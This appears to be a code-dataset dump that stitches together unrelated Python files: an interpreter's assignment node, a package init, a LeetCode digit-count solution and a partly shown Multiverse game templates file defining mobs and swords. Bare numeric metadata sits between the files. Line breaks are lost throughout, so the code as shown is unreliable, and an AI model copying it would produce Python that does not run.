from State.SymbolTable import table class Node: def __init__(self, name, op, expression): self.name = name self.expression = expression self.op = op def visit(self, context): if self.op == "=": table.setVariable(self.name, self.expression.visit(context)) elif self.op == "+=": table.setVariable( self.name, table.getVariable(self.name) + self.expression.visit(context) ) elif self.op == "-=": table.setVariable( self.name, table.getVariable(self.name) - self.expression.visit(context) ) elif self.op == "*=": table.setVariable( self.name, table.getVariable(self.name) * self.expression.visit(context) ) elif self.op == "/=": table.setVariable( self.name, table.getVariable(self.name) / self.expression.visit(context) ) elif self.op == "%=": table.setVariable( self.name, table.getVariable(self.name) % self.expression.visit(context) ) return table.getVariable(self.name)

31.810811

88

0.545455

117

1,177

5.452991

0.17094

0.175549

0.197492

0.206897

0.746082

0.711599

0

0.328802

1,177

36

89

32.694444

0.807595

0

0.166667

0

0.009346

0

1

0.066667

false

0

0.033333

0

0.166667

0

null

0

1

0

1

0

null

0

7

5e0bdafc7889b30f7ca8e4f91386e60d8b0c58b9

223

py

Python

__init__.py

azraelgnosis/lorekeeper

1b8c415249b801831a92c10b7ad1cf1f08fd5b6f

[ "MIT" ]

null

__init__.py

azraelgnosis/lorekeeper

1b8c415249b801831a92c10b7ad1cf1f08fd5b6f

[ "MIT" ]

null

__init__.py

azraelgnosis/lorekeeper

1b8c415249b801831a92c10b7ad1cf1f08fd5b6f

[ "MIT" ]

null

from lorekeeper.lorekeeper.auth import AuthPrint from lorekeeper.lorekeeper.cyanotype import Rule, Cyanotype from lorekeeper.lorekeeper.flasket import Flasket from lorekeeper.lorekeeper.models import Row, Model, Table, User

55.75

64

0.860987

28

223

6.857143

0.464286

0.291667

0.5

0

0.085202

223

4

64

55.75

0.941176

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

5e203f7b02c3b8f396421d745a262a4d46aa8408

1,237

py

Python

reordered-power-of-2.py

ArCan314/leetcode

8e22790dc2f34f5cf2892741ff4e5d492bb6d0dd

[ "MIT" ]

null

reordered-power-of-2.py

ArCan314/leetcode

8e22790dc2f34f5cf2892741ff4e5d492bb6d0dd

[ "MIT" ]

null

reordered-power-of-2.py

ArCan314/leetcode

8e22790dc2f34f5cf2892741ff4e5d492bb6d0dd

[ "MIT" ]

null

from typing import List cmp: List[List[int]] = [[0, 1, 0, 0, 0, 0, 0, 0, 0, 0],[0, 0, 1, 0, 0, 0, 0, 0, 0, 0],[0, 0, 0, 0, 1, 0, 0, 0, 0, 0],[0, 0, 0, 0, 0, 0, 0, 0, 1, 0],[0, 1, 0, 0, 0, 0, 1, 0, 0, 0],[0, 0, 1, 1, 0, 0, 0, 0, 0, 0],[0, 0, 0, 0, 1, 0, 1, 0, 0, 0],[0, 1, 1, 0, 0, 0, 0, 0, 1, 0],[0, 0, 1, 0, 0, 1, 1, 0, 0, 0],[0, 1, 1, 0, 0, 1, 0, 0, 0, 0],[1, 1, 1, 0, 1, 0, 0, 0, 0, 0],[1, 0, 1, 0, 1, 0, 0, 0, 1, 0],[1, 0, 0, 0, 1, 0, 1, 0, 0, 1],[0, 1, 1, 0, 0, 0, 0, 0, 1, 1],[0, 1, 0, 1, 1, 0, 1, 0, 1, 0],[0, 0, 1, 1, 0, 0, 1, 1, 1, 0],[0, 0, 0, 1, 0, 2, 2, 0, 0, 0],[1, 2, 1, 1, 0, 0, 0, 1, 0, 0],[0, 1, 2, 0, 2, 0, 1, 0, 0, 0],[0, 0, 2, 0, 1, 1, 0, 0, 2, 0],[1, 1, 0, 0, 1, 1, 1, 1, 1, 0],[1, 1, 2, 0, 0, 1, 0, 1, 0, 1],[1, 1, 0, 1, 3, 0, 0, 0, 0, 1],[1, 0, 0, 1, 0, 0, 1, 0, 4, 0],[0, 2, 1, 0, 0, 0, 2, 3, 0, 0],[0, 0, 1, 3, 2, 2, 0, 0, 0, 0],[1, 1, 0, 0, 1, 0, 2, 1, 2, 0],[0, 2, 2, 1, 1, 0, 0, 2, 1, 0],[0, 0, 1, 1, 2, 2, 2, 0, 1, 0],[1, 1, 1, 1, 0, 1, 1, 1, 1, 1],[1, 2, 1, 1, 2, 0, 0, 2, 1, 0],[0, 1, 1, 1, 3, 0, 1, 1, 2, 0]] class Solution: def reorderedPowerOf2(self, n: int) -> bool: l = [0 for x in range(10)] while n != 0: l[n % 10] += 1 n //= 10 return l in cmp

103.083333

1,016

0.356508

356

1,237

1.238764

0.073034

0.535147

0.517007

0.453515

0.702948

0.634921

0.569161

0.453515

0.367347

0.285714

0

0.385514

0.308003

1,237

12

1,017

103.083333

0.129673

0

1

0.111111

false

0

0.111111

0

0.444444

0

1

null

1

0

1

0

1

0

null

0

8

eab7e087fd5ab2b26c6880b6c57882bfd7bef5d8

181

py

Python

financial_service/financial_service/doctype/api_job/test_api_job.py

nextchamp-saqib/financial_service

6027304f7b64a4fc5ad72755a85bc07c94766302

[ "MIT" ]

6

2021-11-10T06:35:15.000Z

2021-11-15T11:31:05.000Z

financial_service/financial_service/doctype/api_job/test_api_job.py

nextchamp-saqib/financial_service

6027304f7b64a4fc5ad72755a85bc07c94766302

[ "MIT" ]

null

financial_service/financial_service/doctype/api_job/test_api_job.py

nextchamp-saqib/financial_service

6027304f7b64a4fc5ad72755a85bc07c94766302

[ "MIT" ]

1

2021-11-11T06:47:52.000Z

20.111111

85

0.78453

23

181

6.173913

0.782609

0.211268

0

0.025806

0.143646

181

8

86

22.625

0.890323

0.624309

0

1

0

true

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

dc365301ae3f4a7a7895bbf03bd00848a637db66

34,719

py

Python

server/config/sampleworld/templates.py

AustralianDisabilityLimited/MultiversePlatform

7e1aad33d48b9e47f3db2ca638cb57592336ddb7

[ "MIT" ]

33

2015-02-16T02:52:08.000Z

2022-02-18T08:46:32.000Z

server/config/sampleworld/templates.py

bensku/MultiversePlatform

7e1aad33d48b9e47f3db2ca638cb57592336ddb7

[ "MIT" ]

1

2017-09-09T18:50:23.000Z

2020-12-29T18:13:56.000Z

server/config/sampleworld/templates.py

bensku/MultiversePlatform

7e1aad33d48b9e47f3db2ca638cb57592336ddb7

[ "MIT" ]

31

2015-02-07T16:20:24.000Z

2022-02-23T15:02:43.000Z

# # The Multiverse Platform is made available under the MIT License. # # Copyright (c) 2012 The Multiverse Foundation # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, # merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software # is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE # OR OTHER DEALINGS IN THE SOFTWARE. # # from multiverse.mars import * from multiverse.mars.objects import * from multiverse.mars.core import * from multiverse.mars.events import * from multiverse.mars.util import * from multiverse.mars.plugins import * from multiverse.server.plugins import * from multiverse.server.math import * from multiverse.server.events import * from multiverse.server.objects import * from multiverse.server.engine import * from java.lang import * True=1 False=0 class TemplateHook(EnginePlugin.PluginActivateHook): def activate(self): ############################################################ # # DisplayContexts # ############################################################ human_female_base_DC = DisplayContext("human_female.mesh", True) human_female_base_DC.addSubmesh(DisplayContext.Submesh("bodyShape-lib.0", "human_female.skin_material")) human_female_base_DC.addSubmesh(DisplayContext.Submesh("head_aShape-lib.0", "human_female.head_a_material")) human_female_leather_pantsDC = DisplayContext() human_female_leather_pantsDC.setMeshFile("human_female.mesh") human_female_leather_pantsDC.addSubmesh(DisplayContext.Submesh("leather_a_pantsShape-lib.0", "human_female.leather_a_material")) human_female_leather_pantsDC.addSubmesh(DisplayContext.Submesh("leather_a_beltShape-lib.0", "human_female.leather_a_material")) human_female_leather_tunicDC = DisplayContext() human_female_leather_tunicDC.setMeshFile("human_female.mesh") human_female_leather_tunicDC.addSubmesh(DisplayContext.Submesh("leather_a_tunicShape-lib.0", "human_female.leather_a_material")) human_female_leather_bootsDC = DisplayContext() human_female_leather_bootsDC.setMeshFile("human_female.mesh") human_female_leather_bootsDC.addSubmesh(DisplayContext.Submesh("leather_a_bootsShape-lib.0", "human_female.leather_a_material")) human_female_leather_glovesDC = DisplayContext() human_female_leather_glovesDC.setMeshFile("human_female.mesh") human_female_leather_glovesDC.addSubmesh(DisplayContext.Submesh("leather_a_bracersShape-lib.0", "human_female.leather_a_material")) human_female_plate_tunicDC = DisplayContext() human_female_plate_tunicDC.setMeshFile("human_female.mesh") human_female_plate_tunicDC.addSubmesh(DisplayContext.Submesh("plate_b_tunicShape-lib.0", "human_female.plate_b_material")) zombie_base_DC = DisplayContext("zombie.mesh", True) zombie_base_DC.addSubmesh(DisplayContext.Submesh("Zombie_Body2-obj.0", "Zombie.Zombie_Body")) zombie_base_DC.addSubmesh(DisplayContext.Submesh("Zombie_Clothes2-obj.0", "Zombie.Zombie_Clothes")) orc_base_DC = DisplayContext("orc.mesh", True) ############################################################# # # mob templates # ############################################################# defaultSlots = MarsEquipInfo("default") defaultSlots.addEquipSlot(MarsEquipSlot.PRIMARYWEAPON) # # Wolf Template # tmpl = Template("Wolf") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, DisplayContext("wolf.mesh", True)) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(InventoryClient.NAMESPACE, InventoryClient.TEMPL_ITEMS, "Wolf Skin; Wolf Bones") tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 20)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 20)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 20)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 20)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(20)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(20)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(20)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(20)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(20) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(20)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 1)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 10); tmpl.put(WorldManagerClient.NAMESPACE, "clickCommand", "/click") ObjectManagerClient.registerTemplate(tmpl) # # Coyote Template # tmpl = Template("Coyote") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, DisplayContext("wolf.mesh", True)) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_SCALE, MVVector(0.75, 0.75, 0.75)) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 60)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 60)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 60)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 60)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(60)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(60) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 1)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 10); ObjectManagerClient.registerTemplate(tmpl) # # Crocodile Template # tmpl = Template("Crocodile") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, DisplayContext("crocodile.mesh", True)) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 60)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 60)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 60)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 60)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(60)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(60) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 1)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 10); ObjectManagerClient.registerTemplate(tmpl) # # Zombie Template # tmpl = Template("Zombie") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, zombie_base_DC) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 60)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 60)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 60)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 60)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(60)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(60) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 2)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 20); tmpl.put(InventoryClient.NAMESPACE, InventoryClient.TEMPL_ITEMS, "*sword8") ObjectManagerClient.registerTemplate(tmpl) # # Brax Template # tmpl = Template("Brax") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, DisplayContext("brax.mesh", True)) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 60)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 60)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 60)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 60)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(60)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(60) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 2)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 20); ObjectManagerClient.registerTemplate(tmpl) # # Orc Warrior Template # tmpl = Template("Orc Warrior") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, orc_base_DC) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(InventoryClient.NAMESPACE, InventoryClient.TEMPL_ITEMS, "*sword10") tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 60)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 60)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom", 60)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 60)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(60)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(60)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(60) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(60)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 2)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 20); ObjectManagerClient.registerTemplate(tmpl) # # Human Female Leather Template # tmpl = Template("Human Female Leather") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, human_female_base_DC) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(InventoryClient.NAMESPACE, InventoryClient.TEMPL_ITEMS, "*Leather Tunic; *Leather Pants; *Leather Boots") ObjectManagerClient.registerTemplate(tmpl) # # Human Female Trainer Template # tmpl = Template("Human Female Trainer") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, human_female_base_DC) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.mob) tmpl.put(InventoryClient.NAMESPACE, InventoryClient.TEMPL_ITEMS, "*Leather Tunic; *Leather Pants; *Leather Boots") tmpl.put(TrainerClient.NAMESPACE, "skills", "Sword;Axe;Dagger;First Aid") tmpl.put(CombatClient.NAMESPACE, "istrainer", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "strength", MarsStat("strength", 160)) tmpl.put(CombatClient.NAMESPACE, "dexterity", MarsStat("dexterity", 160)) tmpl.put(CombatClient.NAMESPACE, "wisdom", MarsStat("wisdom",160)) tmpl.put(CombatClient.NAMESPACE, "intelligence", MarsStat("intelligence", 160)) tmpl.put(CombatClient.NAMESPACE, "stamina", MarsStat("stamina", int(int(160)*1.5))) tmpl.put(CombatClient.NAMESPACE, "stamina-max", MarsStat("stamina-max", int(int(160)*1.5))) tmpl.put(CombatClient.NAMESPACE, "mana", MarsStat("mana", int(160)*2)) tmpl.put(CombatClient.NAMESPACE, "mana-max", MarsStat("mana-max", int(160)* 2)) tmpl.put(CombatClient.NAMESPACE, "health", MarsStat("health", int(160) * 2)) tmpl.put(CombatClient.NAMESPACE, "health-max", MarsStat("health-max", int(160)*2)) tmpl.put(CombatClient.NAMESPACE, "experience", MarsStat("experience", 0)) tmpl.put(CombatClient.NAMESPACE, "level", MarsStat("level", 25)) tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_AUTOATTACK_ABILITY, "attack ability") tmpl.put(CombatClient.NAMESPACE, CombatInfo.COMBAT_PROP_REGEN_EFFECT, "regen effect") tmpl.put(CombatClient.NAMESPACE, "attackable", Boolean(False)) tmpl.put(CombatClient.NAMESPACE, "combat.mobflag", Boolean(True)) tmpl.put(CombatClient.NAMESPACE, "kill_exp", 20); ObjectManagerClient.registerTemplate(tmpl) # # House # house_base_DC = DisplayContext("human_house_open.mesh", True) house_base_DC.addSubmesh(DisplayContext.Submesh("human_house_open_porchshape-obj.0", "human_house_open._01_-_Default")) house_base_DC.addSubmesh(DisplayContext.Submesh("human_house_open_rampshape-obj.0", "human_house_open._01_-_Default")) house_base_DC.addSubmesh(DisplayContext.Submesh("human_house_openshape-obj.0", "human_house_open._01_-_Default")) tmpl = Template("House") tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_DISPLAY_CONTEXT, house_base_DC) tmpl.put(WorldManagerClient.NAMESPACE, WorldManagerClient.TEMPL_OBJECT_TYPE, ObjectTypes.structure) ObjectManagerClient.registerTemplate(tmpl) # # Weapon Templates # equipInfo = MarsEquipInfo("weapon") equipInfo.addEquipSlot(MarsEquipSlot.PRIMARYWEAPON) dc = DisplayContext("sword.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("Bronze Longsword") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_basic.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword1") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_broad.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword2") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_katar.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword3") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_katareen.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword4") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ICON, "Interface\FantasyWorldIcons\WEAPON_sword_A") tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_ACTIVATE_HOOK, EquipActivateHook()) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_EQUIP_INFO, equipInfo) tmpl.put(InventoryClient.ITEM_NAMESPACE, InventoryClient.TEMPL_DCMAP, dcMap) ObjectManagerClient.registerTemplate(tmpl) dc = DisplayContext("FW_sword_human_leaf.mesh") dc.setAttachInfo(DisplayState.IN_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dc.setAttachInfo(DisplayState.NON_COMBAT, MarsEquipSlot.PRIMARYWEAPON, MarsAttachSocket.PRIMARYWEAPON) dcMap = DCMap() dcMap.add(human_female_base_DC, dc) dcMap.add(orc_base_DC, dc) dcMap.add(zombie_base_DC, dc) tmpl = Template("sword5") 